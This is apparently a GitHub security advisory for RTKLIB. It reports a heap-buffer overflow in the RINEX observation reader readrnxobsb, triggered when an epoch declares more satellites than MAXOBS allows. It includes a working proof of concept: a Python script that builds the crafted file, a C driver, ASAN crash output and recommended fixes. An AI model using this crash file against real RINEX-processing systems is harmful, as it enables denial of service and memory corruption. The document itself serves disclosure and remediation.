Skip to content

Out-of-Bounds Access in RTKLIB readrnxobsb via Oversized RINEX Epoch Satellite Count #796

Description

@raefko

Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09


Executive Summary

@FuzzingLabs identified an out-of-bounds access in RTKLIB's RINEX observation reader,
readrnxobsb, reachable from a crafted RINEX observation file. decode_obsepoch parses the per-epoch
satellite count from the epoch header line and returns it unclamped (the field allows counts far
above MAXOBS = 64). Back in readrnxobsb, the obs-record loop then writes/reads the observation
arrays (data[n], sats[i-1]) for each declared satellite, indexed by that attacker-controlled count,
before the n < MAXOBS guard takes effect - so a count greater than the buffer capacity walks past the
end of the arrays.

FuzzingLabs confirmed the defect with a small crafted RINEX 3 file under AddressSanitizer (Apple clang):
AddressSanitizer: heap-buffer-overflow in readrnxobsb at rinex.c:948 (the data[n] store; the same loop also reads sats[i-1] at rinex.c:949).

RINEX files are untrusted input: RTKLIB processes them in post-processing tools (rnx2rtkp, RTKPOST),
and its stream layer also fetches them over FTP/HTTP. The overflow corrupts the observation buffer,
giving a reliable crash (DoS) and memory corruption in any RTKLIB-based pipeline that ingests RINEX.


Vulnerability Details

  • Severity: Medium
    (Out-of-bounds access of the observation buffer driven by an unauthenticated file/stream: reliable
    crash/DoS and memory corruption. Delivery is file/FTP rather than live RF, hence Medium.)
  • Affected Component: readrnxobsb() -src/rinex.c:948and:949
    (the obs-record loop). Root cause: decode_obsepoch returns an unclamped satellite count; the array int sats[MAXOBS] is declared at rinex.c:920, MAXOBS at rtklib.h:195.

Environment


Steps to Reproduce

  1. Clone and pin:
    git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
    git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
  2. Save the PoC RINEX file crash.rnx and the driver poc.c (both below).
  3. Build under ASAN and run:
    clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
      -D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
    ./poc crash.rnx

Proof of Concept

crash.rnx - a RINEX 3.03 observation file whose epoch declares 70 satellites (> MAXOBS = 64)
with one valid GPS observation code (so header processing succeeds and the oversized count reaches the
obs-record loop):

     3.03           OBSERVATION DATA    M (MIXED)           RINEX VERSION / TYPE
G    1 C1C                                                  SYS / # / OBS TYPES
                                                            END OF HEADER
> 2026 01 20 00 00 00.0000000  0 70
G01  23629347.915
G02  23629347.915
G03  23629347.915
...  (repeat "Gnn  23629347.915" for 70 satellite lines, nn = 01..32 cycling) ...

Recreate it exactly:

python3 - <<'PY'
hdr = [
"     3.03           OBSERVATION DATA    M (MIXED)           RINEX VERSION / TYPE",
"G    1 C1C                                                  SYS / # / OBS TYPES",
"                                                            END OF HEADER",
"> 2026 01 20 00 00 00.0000000  0 70"]
sats = ["G%02d  23629347.915" % ((k % 32) + 1) for k in range(70)]
open("crash.rnx","w").write("\n".join(hdr + sats) + "\n")
PY

poc.c (complete, self-contained):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "rtklib.h"
int  showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t)      { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
  if (argc < 2) return 1;
  obs_t obs; nav_t nav; sta_t sta;
  memset(&obs, 0, sizeof obs); memset(&nav, 0, sizeof nav); memset(&sta, 0, sizeof sta);
  readrnx(argv[1], 1, "", &obs, &nav, &sta);   /* -> readrnxobsb */
  free(obs.data); freenav(&nav, 0xFF);
  return 0;
}

Root Cause Analysis

readrnxobsb
(src/rinex.c)
holds the per-epoch satellite list in int sats[MAXOBS] (MAXOBS = 64) and loops over the obs records:

while (fgets(buff,MAXRNXLEN,fp)) {
    if (i==0) {
        if ((nsat=decode_obsepoch(fp,buff,ver,&time,flag,sats))<=0) continue;  // attacker count, unclamped
    } else if (*flag<=2||*flag==6) {
        data[n].time=time;                       // rinex.c:948  <-- OOB write when n exceeds the buffer
        data[n].sat=(unsigned char)sats[i-1];    // rinex.c:949  <-- OOB read when i-1 >= MAXOBS
        if (decode_obsdata(fp,buff,ver,mask,index,data+n)&&n<MAXOBS) n++;       // bound checked too late
    }
    if (++i>nsat) return n;                       // loop bounded by the attacker count, not MAXOBS
}

decode_obsepoch reads the satellite count from a fixed-width field and returns it without clamping to
MAXOBS. The obs-record loop then writes data[n] and reads sats[i-1] for each declared satellite;
the n < MAXOBS guard only gates the increment, after data[n] has already been written. With a
count greater than the capacity of data[]/sats[], the loop accesses memory past the end of those
buffers. AddressSanitizer reports the data[n] store at rinex.c:948 as a heap-buffer-overflow of the
6144-byte observation region; the sats[i-1] read at rinex.c:949 is the same root cause on the
stack array.


Detailed Behavior

A single crafted RINEX observation file with an epoch satellite count greater than MAXOBS (64)
corrupts the observation buffer in readrnxobsb. Effect: a reliable crash (DoS) and memory corruption
in RINEX post-processing/visualisation (rnx2rtkp, RTKPOST) and any RTKLIB pipeline that ingests or
downloads RINEX.

./poc crash.rnx
==10445==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x623000001900 ...
WRITE/READ via __asan_memcpy
    #0 __asan_memcpy
    #1 0x000100a01654 in readrnxobsb rinex.c:948
    #2 0x0001009f5cfc in readrnxfp rinex.c:1410
    #3 0x0001009f9040 in readrnxfile rinex.c:1444
    #4 0x0001009f55b8 in readrnxt rinex.c:1512
    #5 0x0001009f97a8 in readrnx rinex.c:1530
    #6 0x000100948abc in main poc.c:17
    #7 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x623000001900 is located 0 bytes after 6144-byte region [0x623000000100,0x623000001900)
SUMMARY: AddressSanitizer: heap-buffer-overflow rinex.c:948 in readrnxobsb

Recommendations

  1. Clamp the returned count. In decode_obsepoch, clamp the satellite count to MAXOBS before
    returning (or reject the epoch when it exceeds MAXOBS), so the count that drives the readrnxobsb
    loop can never exceed the array capacity. Apply to both the RINEX 2 and RINEX 3 epoch paths.
  2. Bound the loop at the consumer too. In readrnxobsb, only access data[n]/sats[i-1] while
    n < MAXOBS and i-1 < MAXOBS, and stop processing the epoch otherwise.
  3. Audit sibling readers for the same "trust the wire count, bound the write too late" pattern.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions